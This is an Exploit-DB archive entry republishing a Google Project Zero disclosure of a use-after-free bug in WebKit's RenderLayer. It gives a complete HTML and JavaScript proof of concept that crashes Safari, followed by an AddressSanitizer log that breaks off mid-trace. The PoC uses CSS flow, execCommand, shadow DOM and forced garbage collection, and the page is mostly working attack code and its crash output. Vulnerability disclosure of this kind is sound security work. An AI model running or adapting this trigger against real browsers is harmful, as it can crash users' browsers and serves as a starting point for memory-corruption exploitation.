Exploit-DB #41809
Description: Apple WebKit - 'RenderLayer' Use-After-Free
Type: dos
Platform: multiple
Date: 2017-04-04
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1082

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the latest nightly build of WebKit. The PoC also crashes Safari 10.0.2 on Mac.

PoC and ASan log follow

PoC:

=================================================================
-->

<script>

function go() {
 div.style.setProperty("-webkit-flow-into", "foo");
 document.execCommand("fontSize", false, 6);
 window.requestAnimationFrame(cb);
 h1.attachShadow({mode: "open"});
 h1.replaceWith("foo");
}

function cb() {
 var a;
 //trigger garbage collector
 for(var i=0;i<100;i++) {
   a = new Uint8Array(1024*1024);
 }
 textarea.cols = 1;
}

</script>
<body onload=go()>
<textarea id="textarea"></textarea>
<h1 id="h1">
<div id="div" style="perspective: 1px;">

<!--
=================================================================

ASan log:

=================================================================
==531==ERROR: AddressSanitizer: heap-use-after-free on address 0x60800003e340 at pc 0x00010b23f5ab bp 0x7fff5c243c10 sp 0x7fff5c243c08
READ of size 8 at 0x60800003e340 thread T0
    #0 0x10b23f5aa in WebCore::Node::treeScope() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x45aa)
    #1 0x10b23f568 in WebCore::Node::document() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x4568)
    #2 0x10b23eb18 in WebCore::RenderObject::document() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3b18)
    #3 0x10d3e9a34 in WebCore::RenderBox::applyTopLeftLocationOffset(WebCore::LayoutPoint&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21aea34)
    #4 0x10d3e2bc1 in WebCore::RenderLayer::updateLayerPosition() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a7bc1)
    #5 0x10d3e1fb8 in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a6fb8)
    #6 0x10d3e24cd in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a74cd)
    #7 0x10d3e24cd in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a74cd)
    #8 0x10d3e1e66 in WebCore::RenderLayer::updateLayerPositionsAfterLayout(WebCore::RenderLayer const*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a6e66)
    #9 0x10bcdbb66 in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa0b66)
    #10 0x10dc5c1c1 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2a211c1)
    #11 0x10cebc87f in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1c8187f)
    #12 0x7fff9a634af3 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92af3)
    #13 0x7fff9a634782 in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92782)
    #14 0x7fff9a6342d9 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x922d9)
    #15 0x7fff9a62b7d0 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x897d0)
    #16 0x7fff9a62ae37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #17 0x7fff904ba934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
    #18 0x7fff904ba76e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
    #19 0x7fff904ba5ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
    #20 0x7fff8e2e5df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
    #21 0x7fff8e2e5225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
    #22 0x7fff8e2d9d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
    #23 0x7fff8e2a3367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
    #24 0x7fff86665193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
    #25 0x7fff86663bbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
    #26 0x1039b9b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #27 0x7fff8e1e35ac in start (/usr/lib/system/libdyld.dylib+0x35ac)

0x60800003e340 is located 32 bytes inside of 96-byte region [0x60800003e320,0x60800003e380)
freed by thread T0 here:
    #0 0x105f85cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x108fb036f in bmalloc::Deallocator::deallocateSlowCase(void*)